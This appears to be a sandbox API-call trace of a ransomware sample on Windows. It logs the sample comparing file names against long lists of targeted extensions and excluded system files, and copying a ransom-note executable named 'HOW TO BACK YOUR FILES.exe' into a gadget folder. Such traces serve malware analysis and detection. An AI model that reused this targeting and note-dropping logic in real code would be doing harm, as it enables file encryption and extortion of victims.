	[0062.065] lstrlenW (lpString="dbx") returned 3
	[0062.065] lstrcmpiW (lpString1=".js", lpString2="dbx") returned -1
	[0062.065] lstrlenW (lpString="dcb") returned 3
	[0062.065] lstrcmpiW (lpString1=".js", lpString2="dcb") returned -1
	[0062.065] lstrlenW (lpString="dct") returned 3
	[0062.065] lstrcmpiW (lpString1=".js", lpString2="dct") returned -1
	[0062.065] lstrlenW (lpString="dcx") returned 3
	[0062.065] lstrcmpiW (lpString1=".js", lpString2="dcx") returned -1
	[0062.065] lstrlenW (lpString="ddl") returned 3
	[0062.065] lstrcmpiW (lpString1=".js", lpString2="ddl") returned -1
	[0062.065] lstrlenW (lpString="dlis") returned 4
	[0062.065] lstrcmpiW (lpString1="r.js", lpString2="dlis") returned 1
	[0062.065] lstrlenW (lpString="dp1") returned 3
	[0062.065] lstrcmpiW (lpString1=".js", lpString2="dp1") returned -1
	[0062.065] lstrlenW (lpString="dqy") returned 3
	[0062.065] lstrcmpiW (lpString1=".js", lpString2="dqy") returned -1
	[0062.065] lstrlenW (lpString="dsk") returned 3
	[0062.065] lstrcmpiW (lpString1=".js", lpString2="dsk") returned -1
	[0062.065] lstrlenW (lpString="dsn") returned 3
	[0062.065] lstrcmpiW (lpString1=".js", lpString2="dsn") returned -1
	[0062.065] lstrlenW (lpString="dtsx") returned 4
	[0062.065] lstrcmpiW (lpString1="r.js", lpString2="dtsx") returned 1
	[0062.065] lstrlenW (lpString="dxl") returned 3
	[0062.065] lstrcmpiW (lpString1=".js", lpString2="dxl") returned -1
	[0062.065] lstrlenW (lpString="eco") returned 3
	[0062.065] lstrcmpiW (lpString1=".js", lpString2="eco") returned -1
	[0062.065] lstrlenW (lpString="ecx") returned 3
	[0062.065] lstrcmpiW (lpString1=".js", lpString2="ecx") returned -1
	[0062.065] lstrlenW (lpString="edb") returned 3
	[0062.066] lstrcmpiW (lpString1=".js", lpString2="edb") returned -1
	[0062.066] lstrlenW (lpString="epim") returned 4
	[0062.066] lstrcmpiW (lpString1="r.js", lpString2="epim") returned 1
	[0062.066] lstrlenW (lpString="fcd") returned 3
	[0062.066] lstrcmpiW (lpString1=".js", lpString2="fcd") returned -1
	[0062.066] lstrlenW (lpString="fdb") returned 3
	[0062.066] lstrcmpiW (lpString1=".js", lpString2="fdb") returned -1
	[0062.066] lstrlenW (lpString="fic") returned 3
	[0062.066] lstrcmpiW (lpString1=".js", lpString2="fic") returned -1
	[0062.066] lstrlenW (lpString="flexolibrary") returned 12
	[0062.066] lstrlenW (lpString="fm5") returned 3
	[0062.066] lstrcmpiW (lpString1=".js", lpString2="fm5") returned -1
	[0062.066] lstrlenW (lpString="fmp") returned 3
	[0062.066] lstrcmpiW (lpString1=".js", lpString2="fmp") returned -1
	[0062.066] lstrlenW (lpString="fmp12") returned 5
	[0062.066] lstrcmpiW (lpString1="ar.js", lpString2="fmp12") returned -1
	[0062.066] lstrlenW (lpString="fmpsl") returned 5
	[0062.066] lstrcmpiW (lpString1="ar.js", lpString2="fmpsl") returned -1
	[0062.066] lstrlenW (lpString="fol") returned 3
	[0062.066] lstrcmpiW (lpString1=".js", lpString2="fol") returned -1
	[0062.066] lstrlenW (lpString="fp3") returned 3
	[0062.066] lstrcmpiW (lpString1=".js", lpString2="fp3") returned -1
	[0062.066] lstrlenW (lpString="fp4") returned 3
	[0062.066] lstrcmpiW (lpString1=".js", lpString2="fp4") returned -1
	[0062.066] lstrlenW (lpString="fp5") returned 3
	[0062.066] lstrcmpiW (lpString1=".js", lpString2="fp5") returned -1
	[0062.066] lstrlenW (lpString="fp7") returned 3
	[0062.066] lstrcmpiW (lpString1=".js", lpString2="fp7") returned -1
	[0062.066] lstrlenW (lpString="fpt") returned 3
	[0062.066] lstrcmpiW (lpString1=".js", lpString2="fpt") returned -1
	[0062.066] lstrlenW (lpString="frm") returned 3
	[0062.066] lstrcmpiW (lpString1=".js", lpString2="frm") returned -1
	[0062.066] lstrlenW (lpString="gdb") returned 3
	[0062.066] lstrcmpiW (lpString1=".js", lpString2="gdb") returned -1
	[0062.067] lstrlenW (lpString="gdb") returned 3
	[0062.067] lstrcmpiW (lpString1=".js", lpString2="gdb") returned -1
	[0062.067] lstrlenW (lpString="grdb") returned 4
	[0062.067] lstrcmpiW (lpString1="r.js", lpString2="grdb") returned 1
	[0062.067] lstrlenW (lpString="gwi") returned 3
	[0062.067] lstrcmpiW (lpString1=".js", lpString2="gwi") returned -1
	[0062.067] lstrlenW (lpString="hdb") returned 3
	[0062.067] lstrcmpiW (lpString1=".js", lpString2="hdb") returned -1
	[0062.067] lstrlenW (lpString="his") returned 3
	[0062.067] lstrcmpiW (lpString1=".js", lpString2="his") returned -1
	[0062.067] lstrlenW (lpString="ib") returned 2
	[0062.067] lstrcmpiW (lpString1="js", lpString2="ib") returned 1
	[0062.067] lstrlenW (lpString="idb") returned 3
	[0062.067] lstrcmpiW (lpString1=".js", lpString2="idb") returned -1
	[0062.067] lstrlenW (lpString="ihx") returned 3
	[0062.067] lstrcmpiW (lpString1=".js", lpString2="ihx") returned -1
	[0062.067] lstrlenW (lpString="itdb") returned 4
	[0062.067] lstrcmpiW (lpString1="r.js", lpString2="itdb") returned 1
	[0062.067] lstrlenW (lpString="itw") returned 3
	[0062.067] lstrcmpiW (lpString1=".js", lpString2="itw") returned -1
	[0062.067] lstrlenW (lpString="jet") returned 3
	[0062.067] lstrcmpiW (lpString1=".js", lpString2="jet") returned -1
	[0062.067] lstrlenW (lpString="jtx") returned 3
	[0062.067] lstrcmpiW (lpString1=".js", lpString2="jtx") returned -1
	[0062.067] lstrlenW (lpString="kdb") returned 3
	[0062.067] lstrcmpiW (lpString1=".js", lpString2="kdb") returned -1
	[0062.067] lstrlenW (lpString="kexi") returned 4
	[0062.067] lstrcmpiW (lpString1="r.js", lpString2="kexi") returned 1
	[0062.067] lstrlenW (lpString="kexic") returned 5
	[0062.067] lstrcmpiW (lpString1="ar.js", lpString2="kexic") returned -1
	[0062.067] lstrlenW (lpString="kexis") returned 5
	[0062.067] lstrcmpiW (lpString1="ar.js", lpString2="kexis") returned -1
	[0062.067] lstrlenW (lpString="lgc") returned 3
	[0062.067] lstrcmpiW (lpString1=".js", lpString2="lgc") returned -1
	[0062.067] lstrlenW (lpString="lwx") returned 3
	[0062.067] lstrcmpiW (lpString1=".js", lpString2="lwx") returned -1
	[0062.068] lstrlenW (lpString="maf") returned 3
	[0062.068] lstrcmpiW (lpString1=".js", lpString2="maf") returned -1
	[0062.068] lstrlenW (lpString="maq") returned 3
	[0062.068] lstrcmpiW (lpString1=".js", lpString2="maq") returned -1
	[0062.068] lstrlenW (lpString="mar") returned 3
	[0062.068] lstrcmpiW (lpString1=".js", lpString2="mar") returned -1
	[0062.068] lstrlenW (lpString="marshal") returned 7
	[0062.068] lstrcmpiW (lpString1="ndar.js", lpString2="marshal") returned 1
	[0062.068] lstrlenW (lpString="mas") returned 3
	[0062.068] lstrcmpiW (lpString1=".js", lpString2="mas") returned -1
	[0062.068] lstrlenW (lpString="mav") returned 3
	[0062.068] lstrcmpiW (lpString1=".js", lpString2="mav") returned -1
	[0062.068] lstrlenW (lpString="maw") returned 3
	[0062.068] lstrcmpiW (lpString1=".js", lpString2="maw") returned -1
	[0062.068] lstrlenW (lpString="mdbhtml") returned 7
	[0062.068] lstrcmpiW (lpString1="ndar.js", lpString2="mdbhtml") returned 1
	[0062.068] lstrlenW (lpString="mdn") returned 3
	[0062.068] lstrcmpiW (lpString1=".js", lpString2="mdn") returned -1
	[0062.068] lstrlenW (lpString="mdt") returned 3
	[0062.068] lstrcmpiW (lpString1=".js", lpString2="mdt") returned -1
	[0062.068] lstrlenW (lpString="mfd") returned 3
	[0062.068] lstrcmpiW (lpString1=".js", lpString2="mfd") returned -1
	[0062.068] lstrlenW (lpString="mpd") returned 3
	[0062.068] lstrcmpiW (lpString1=".js", lpString2="mpd") returned -1
	[0062.068] lstrlenW (lpString="mrg") returned 3
	[0062.068] lstrcmpiW (lpString1=".js", lpString2="mrg") returned -1
	[0062.068] lstrlenW (lpString="mud") returned 3
	[0062.068] lstrcmpiW (lpString1=".js", lpString2="mud") returned -1
	[0062.068] lstrlenW (lpString="mwb") returned 3
	[0062.068] lstrcmpiW (lpString1=".js", lpString2="mwb") returned -1
	[0062.068] lstrlenW (lpString="myd") returned 3
	[0062.068] lstrcmpiW (lpString1=".js", lpString2="myd") returned -1
	[0062.068] lstrlenW (lpString="ndf") returned 3
	[0062.068] lstrcmpiW (lpString1=".js", lpString2="ndf") returned -1
	[0062.068] lstrlenW (lpString="nnt") returned 3
	[0062.069] lstrcmpiW (lpString1=".js", lpString2="nnt") returned -1
	[0062.069] lstrlenW (lpString="nrmlib") returned 6
	[0062.069] lstrcmpiW (lpString1="dar.js", lpString2="nrmlib") returned -1
	[0062.069] lstrlenW (lpString="ns2") returned 3
	[0062.069] lstrcmpiW (lpString1=".js", lpString2="ns2") returned -1
	[0062.069] lstrlenW (lpString="ns3") returned 3
	[0062.069] lstrcmpiW (lpString1=".js", lpString2="ns3") returned -1
	[0062.069] lstrlenW (lpString="ns4") returned 3
	[0062.069] lstrcmpiW (lpString1=".js", lpString2="ns4") returned -1
	[0062.069] lstrlenW (lpString="nsf") returned 3
	[0062.069] lstrcmpiW (lpString1=".js", lpString2="nsf") returned -1
	[0062.069] lstrlenW (lpString="nv") returned 2
	[0062.069] lstrcmpiW (lpString1="js", lpString2="nv") returned -1
	[0062.069] lstrlenW (lpString="nv2") returned 3
	[0062.069] lstrcmpiW (lpString1=".js", lpString2="nv2") returned -1
	[0062.069] lstrlenW (lpString="nwdb") returned 4
	[0062.069] lstrcmpiW (lpString1="r.js", lpString2="nwdb") returned 1
	[0062.069] lstrlenW (lpString="nyf") returned 3
	[0062.069] lstrcmpiW (lpString1=".js", lpString2="nyf") returned -1
	[0062.069] lstrlenW (lpString="odb") returned 3
	[0062.069] lstrcmpiW (lpString1=".js", lpString2="odb") returned -1
	[0062.069] lstrlenW (lpString="odb") returned 3
	[0062.069] lstrcmpiW (lpString1=".js", lpString2="odb") returned -1
	[0062.069] lstrlenW (lpString="oqy") returned 3
	[0062.069] lstrcmpiW (lpString1=".js", lpString2="oqy") returned -1
	[0062.069] lstrlenW (lpString="ora") returned 3
	[0062.069] lstrcmpiW (lpString1=".js", lpString2="ora") returned -1
	[0062.069] lstrlenW (lpString="orx") returned 3
	[0062.069] lstrcmpiW (lpString1=".js", lpString2="orx") returned -1
	[0062.069] lstrlenW (lpString="owc") returned 3
	[0062.069] lstrcmpiW (lpString1=".js", lpString2="owc") returned -1
	[0062.069] lstrlenW (lpString="p96") returned 3
	[0062.069] lstrcmpiW (lpString1=".js", lpString2="p96") returned -1
	[0062.069] lstrlenW (lpString="p97") returned 3
	[0062.070] lstrcmpiW (lpString1=".js", lpString2="p97") returned -1
	[0062.070] lstrlenW (lpString="pan") returned 3
	[0062.070] lstrcmpiW (lpString1=".js", lpString2="pan") returned -1
	[0062.070] lstrlenW (lpString="pdb") returned 3
	[0062.070] lstrcmpiW (lpString1=".js", lpString2="pdb") returned -1
	[0062.070] lstrlenW (lpString="pdm") returned 3
	[0062.070] lstrcmpiW (lpString1=".js", lpString2="pdm") returned -1
	[0062.070] lstrlenW (lpString="pnz") returned 3
	[0062.070] lstrcmpiW (lpString1=".js", lpString2="pnz") returned -1
	[0062.070] lstrlenW (lpString="qry") returned 3
	[0062.070] lstrcmpiW (lpString1=".js", lpString2="qry") returned -1
	[0062.070] lstrlenW (lpString="qvd") returned 3
	[0062.070] lstrcmpiW (lpString1=".js", lpString2="qvd") returned -1
	[0062.070] lstrlenW (lpString="rbf") returned 3
	[0062.070] lstrcmpiW (lpString1=".js", lpString2="rbf") returned -1
	[0062.070] lstrlenW (lpString="rctd") returned 4
	[0062.070] lstrcmpiW (lpString1="r.js", lpString2="rctd") returned -1
	[0062.070] lstrlenW (lpString="rod") returned 3
	[0062.070] lstrcmpiW (lpString1=".js", lpString2="rod") returned -1
	[0062.070] lstrlenW (lpString="rodx") returned 4
	[0062.070] lstrcmpiW (lpString1="r.js", lpString2="rodx") returned -1
	[0062.070] lstrlenW (lpString="rpd") returned 3
	[0062.070] lstrcmpiW (lpString1=".js", lpString2="rpd") returned -1
	[0062.070] lstrlenW (lpString="rsd") returned 3
	[0062.070] lstrcmpiW (lpString1=".js", lpString2="rsd") returned -1
	[0062.070] lstrlenW (lpString="sas7bdat") returned 8
	[0062.070] lstrcmpiW (lpString1="endar.js", lpString2="sas7bdat") returned -1
	[0062.070] lstrlenW (lpString="sbf") returned 3
	[0062.070] lstrcmpiW (lpString1=".js", lpString2="sbf") returned -1
	[0062.070] lstrlenW (lpString="scx") returned 3
	[0062.070] lstrcmpiW (lpString1=".js", lpString2="scx") returned -1
	[0062.070] lstrlenW (lpString="sdb") returned 3
	[0062.070] lstrcmpiW (lpString1=".js", lpString2="sdb") returned -1
	[0062.070] lstrlenW (lpString="sdc") returned 3
	[0062.071] lstrcmpiW (lpString1=".js", lpString2="sdc") returned -1
	[0062.071] lstrlenW (lpString="sdf") returned 3
	[0062.071] lstrcmpiW (lpString1=".js", lpString2="sdf") returned -1
	[0062.071] lstrlenW (lpString="sis") returned 3
	[0062.071] lstrcmpiW (lpString1=".js", lpString2="sis") returned -1
	[0062.071] lstrlenW (lpString="spq") returned 3
	[0062.071] lstrcmpiW (lpString1=".js", lpString2="spq") returned -1
	[0062.071] lstrlenW (lpString="te") returned 2
	[0062.071] lstrcmpiW (lpString1="js", lpString2="te") returned -1
	[0062.071] lstrlenW (lpString="teacher") returned 7
	[0062.071] lstrcmpiW (lpString1="ndar.js", lpString2="teacher") returned -1
	[0062.071] lstrlenW (lpString="tmd") returned 3
	[0062.071] lstrcmpiW (lpString1=".js", lpString2="tmd") returned -1
	[0062.071] lstrlenW (lpString="tps") returned 3
	[0062.071] lstrcmpiW (lpString1=".js", lpString2="tps") returned -1
	[0062.071] lstrlenW (lpString="trc") returned 3
	[0062.071] lstrcmpiW (lpString1=".js", lpString2="trc") returned -1
	[0062.071] lstrlenW (lpString="trc") returned 3
	[0062.071] lstrcmpiW (lpString1=".js", lpString2="trc") returned -1
	[0062.071] lstrlenW (lpString="trm") returned 3
	[0062.071] lstrcmpiW (lpString1=".js", lpString2="trm") returned -1
	[0062.071] lstrlenW (lpString="udb") returned 3
	[0062.071] lstrcmpiW (lpString1=".js", lpString2="udb") returned -1
	[0062.071] lstrlenW (lpString="udl") returned 3
	[0062.071] lstrcmpiW (lpString1=".js", lpString2="udl") returned -1
	[0062.071] lstrlenW (lpString="usr") returned 3
	[0062.071] lstrcmpiW (lpString1=".js", lpString2="usr") returned -1
	[0062.071] lstrlenW (lpString="v12") returned 3
	[0062.071] lstrcmpiW (lpString1=".js", lpString2="v12") returned -1
	[0062.071] lstrlenW (lpString="vis") returned 3
	[0062.071] lstrcmpiW (lpString1=".js", lpString2="vis") returned -1
	[0062.071] lstrlenW (lpString="vpd") returned 3
	[0062.071] lstrcmpiW (lpString1=".js", lpString2="vpd") returned -1
	[0062.071] lstrlenW (lpString="vvv") returned 3
	[0062.071] lstrcmpiW (lpString1=".js", lpString2="vvv") returned -1
	[0062.071] lstrlenW (lpString="wdb") returned 3
	[0062.072] lstrcmpiW (lpString1=".js", lpString2="wdb") returned -1
	[0062.072] lstrlenW (lpString="wmdb") returned 4
	[0062.072] lstrcmpiW (lpString1="r.js", lpString2="wmdb") returned -1
	[0062.072] lstrlenW (lpString="wrk") returned 3
	[0062.072] lstrcmpiW (lpString1=".js", lpString2="wrk") returned -1
	[0062.072] lstrlenW (lpString="xdb") returned 3
	[0062.072] lstrcmpiW (lpString1=".js", lpString2="xdb") returned -1
	[0062.072] lstrlenW (lpString="xld") returned 3
	[0062.072] lstrcmpiW (lpString1=".js", lpString2="xld") returned -1
	[0062.072] lstrlenW (lpString="xmlff") returned 5
	[0062.072] lstrcmpiW (lpString1="ar.js", lpString2="xmlff") returned -1
	[0062.072] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0eb050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d0eb050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.072] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.072] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0eb050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d0eb050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0062.072] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0062.072] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0062.072] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css"
	[0062.072] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0062.072] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0062.072] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css") returned 66
	[0062.072] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css"
	[0062.072] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.072] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.077] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.077] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d1111b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d1111b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.077] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.077] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.077] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.077] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d1111b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d1111b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.077] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.077] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.077] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.077] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.077] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 1
	[0062.077] lstrcmpiW (lpString1="calendar.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.077] lstrcmpiW (lpString1="calendar.css", lpString2="Apollon865.txt.exe") returned 1
	[0062.077] lstrcmpiW (lpString1="calendar.css", lpString2=".") returned 1
	[0062.077] lstrcmpiW (lpString1="calendar.css", lpString2="..") returned 1
	[0062.077] lstrcmpiW (lpString1="calendar.css", lpString2="windows") returned -1
	[0062.077] lstrcmpiW (lpString1="calendar.css", lpString2="bootmgr") returned 1
	[0062.077] lstrcmpiW (lpString1="calendar.css", lpString2="temp") returned -1
	[0062.077] lstrcmpiW (lpString1="calendar.css", lpString2="pagefile.sys") returned -1
	[0062.077] lstrcmpiW (lpString1="calendar.css", lpString2="boot") returned 1
	[0062.078] lstrcmpiW (lpString1="calendar.css", lpString2="ids.txt") returned -1
	[0062.078] lstrcmpiW (lpString1="calendar.css", lpString2="ntuser.dat") returned -1
	[0062.078] lstrcmpiW (lpString1="calendar.css", lpString2="perflogs") returned -1
	[0062.078] lstrcmpiW (lpString1="calendar.css", lpString2="MSBuild") returned -1
	[0062.078] lstrlenW (lpString="calendar.css") returned 12
	[0062.078] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*") returned 68
	[0062.078] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="calendar.css" | out: lpString1="calendar.css") returned="calendar.css"
	[0062.078] lstrlenW (lpString="calendar.css") returned 12
	[0062.078] lstrlenW (lpString="Apollon865") returned 10
	[0062.078] lstrcmpiW (lpString1="lendar.css", lpString2="Apollon865") returned 1
	[0062.078] lstrlenW (lpString=".dll") returned 4
	[0062.078] lstrcmpiW (lpString1="calendar.css", lpString2=".dll") returned 1
	[0062.078] lstrlenW (lpString=".lnk") returned 4
	[0062.078] lstrcmpiW (lpString1="calendar.css", lpString2=".lnk") returned 1
	[0062.078] lstrlenW (lpString=".ini") returned 4
	[0062.078] lstrcmpiW (lpString1="calendar.css", lpString2=".ini") returned 1
	[0062.078] lstrlenW (lpString=".sys") returned 4
	[0062.078] lstrcmpiW (lpString1="calendar.css", lpString2=".sys") returned 1
	[0062.078] lstrlenW (lpString="calendar.css") returned 12
	[0062.078] lstrlenW (lpString="bak") returned 3
	[0062.078] lstrcmpiW (lpString1="css", lpString2="bak") returned 1
	[0062.078] lstrlenW (lpString="ba_") returned 3
	[0062.078] lstrcmpiW (lpString1="css", lpString2="ba_") returned 1
	[0062.078] lstrlenW (lpString="dbb") returned 3
	[0062.078] lstrcmpiW (lpString1="css", lpString2="dbb") returned -1
	[0062.078] lstrlenW (lpString="vmdk") returned 4
	[0062.078] lstrcmpiW (lpString1=".css", lpString2="vmdk") returned -1
	[0062.078] lstrlenW (lpString="rar") returned 3
	[0062.078] lstrcmpiW (lpString1="css", lpString2="rar") returned -1
	[0062.078] lstrlenW (lpString="zip") returned 3
	[0062.078] lstrcmpiW (lpString1="css", lpString2="zip") returned -1
	[0062.078] lstrlenW (lpString="tgz") returned 3
	[0062.078] lstrcmpiW (lpString1="css", lpString2="tgz") returned -1
	[0062.078] lstrlenW (lpString="vbox") returned 4
	[0062.079] lstrcmpiW (lpString1=".css", lpString2="vbox") returned -1
	[0062.079] lstrlenW (lpString="vdi") returned 3
	[0062.079] lstrcmpiW (lpString1="css", lpString2="vdi") returned -1
	[0062.079] lstrlenW (lpString="vhd") returned 3
	[0062.079] lstrcmpiW (lpString1="css", lpString2="vhd") returned -1
	[0062.079] lstrlenW (lpString="vhdx") returned 4
	[0062.079] lstrcmpiW (lpString1=".css", lpString2="vhdx") returned -1
	[0062.079] lstrlenW (lpString="avhd") returned 4
	[0062.079] lstrcmpiW (lpString1=".css", lpString2="avhd") returned -1
	[0062.079] lstrlenW (lpString="db") returned 2
	[0062.079] lstrcmpiW (lpString1="ss", lpString2="db") returned 1
	[0062.079] lstrlenW (lpString="db2") returned 3
	[0062.079] lstrcmpiW (lpString1="css", lpString2="db2") returned -1
	[0062.079] lstrlenW (lpString="db3") returned 3
	[0062.079] lstrcmpiW (lpString1="css", lpString2="db3") returned -1
	[0062.079] lstrlenW (lpString="dbf") returned 3
	[0062.079] lstrcmpiW (lpString1="css", lpString2="dbf") returned -1
	[0062.079] lstrlenW (lpString="mdf") returned 3
	[0062.079] lstrcmpiW (lpString1="css", lpString2="mdf") returned -1
	[0062.079] lstrlenW (lpString="mdb") returned 3
	[0062.079] lstrcmpiW (lpString1="css", lpString2="mdb") returned -1
	[0062.079] lstrlenW (lpString="sql") returned 3
	[0062.079] lstrcmpiW (lpString1="css", lpString2="sql") returned -1
	[0062.079] lstrlenW (lpString="sqlite") returned 6
	[0062.079] lstrcmpiW (lpString1="ar.css", lpString2="sqlite") returned -1
	[0062.079] lstrlenW (lpString="sqlite3") returned 7
	[0062.079] lstrcmpiW (lpString1="dar.css", lpString2="sqlite3") returned -1
	[0062.079] lstrlenW (lpString="sqlitedb") returned 8
	[0062.079] lstrcmpiW (lpString1="ndar.css", lpString2="sqlitedb") returned -1
	[0062.079] lstrlenW (lpString="xml") returned 3
	[0062.079] lstrcmpiW (lpString1="css", lpString2="xml") returned -1
	[0062.079] lstrlenW (lpString="$er") returned 3
	[0062.079] lstrcmpiW (lpString1="css", lpString2="$er") returned 1
	[0062.079] lstrlenW (lpString="4dd") returned 3
	[0062.080] lstrcmpiW (lpString1="css", lpString2="4dd") returned 1
	[0062.080] lstrlenW (lpString="4dl") returned 3
	[0062.080] lstrcmpiW (lpString1="css", lpString2="4dl") returned 1
	[0062.080] lstrlenW (lpString="^^^") returned 3
	[0062.080] lstrcmpiW (lpString1="css", lpString2="^^^") returned 1
	[0062.080] lstrlenW (lpString="abs") returned 3
	[0062.080] lstrcmpiW (lpString1="css", lpString2="abs") returned 1
	[0062.080] lstrlenW (lpString="abx") returned 3
	[0062.080] lstrcmpiW (lpString1="css", lpString2="abx") returned 1
	[0062.080] lstrlenW (lpString="accdb") returned 5
	[0062.080] lstrcmpiW (lpString1="r.css", lpString2="accdb") returned 1
	[0062.080] lstrlenW (lpString="accdc") returned 5
	[0062.080] lstrcmpiW (lpString1="r.css", lpString2="accdc") returned 1
	[0062.080] lstrlenW (lpString="accde") returned 5
	[0062.080] lstrcmpiW (lpString1="r.css", lpString2="accde") returned 1
	[0062.080] lstrlenW (lpString="accdr") returned 5
	[0062.080] lstrcmpiW (lpString1="r.css", lpString2="accdr") returned 1
	[0062.080] lstrlenW (lpString="accdt") returned 5
	[0062.080] lstrcmpiW (lpString1="r.css", lpString2="accdt") returned 1
	[0062.080] lstrlenW (lpString="accdw") returned 5
	[0062.080] lstrcmpiW (lpString1="r.css", lpString2="accdw") returned 1
	[0062.080] lstrlenW (lpString="accft") returned 5
	[0062.080] lstrcmpiW (lpString1="r.css", lpString2="accft") returned 1
	[0062.080] lstrlenW (lpString="adb") returned 3
	[0062.080] lstrcmpiW (lpString1="css", lpString2="adb") returned 1
	[0062.080] lstrlenW (lpString="adb") returned 3
	[0062.080] lstrcmpiW (lpString1="css", lpString2="adb") returned 1
	[0062.080] lstrlenW (lpString="ade") returned 3
	[0062.080] lstrcmpiW (lpString1="css", lpString2="ade") returned 1
	[0062.080] lstrlenW (lpString="adf") returned 3
	[0062.080] lstrcmpiW (lpString1="css", lpString2="adf") returned 1
	[0062.080] lstrlenW (lpString="adn") returned 3
	[0062.080] lstrcmpiW (lpString1="css", lpString2="adn") returned 1
	[0062.080] lstrlenW (lpString="adp") returned 3
	[0062.081] lstrcmpiW (lpString1="css", lpString2="adp") returned 1
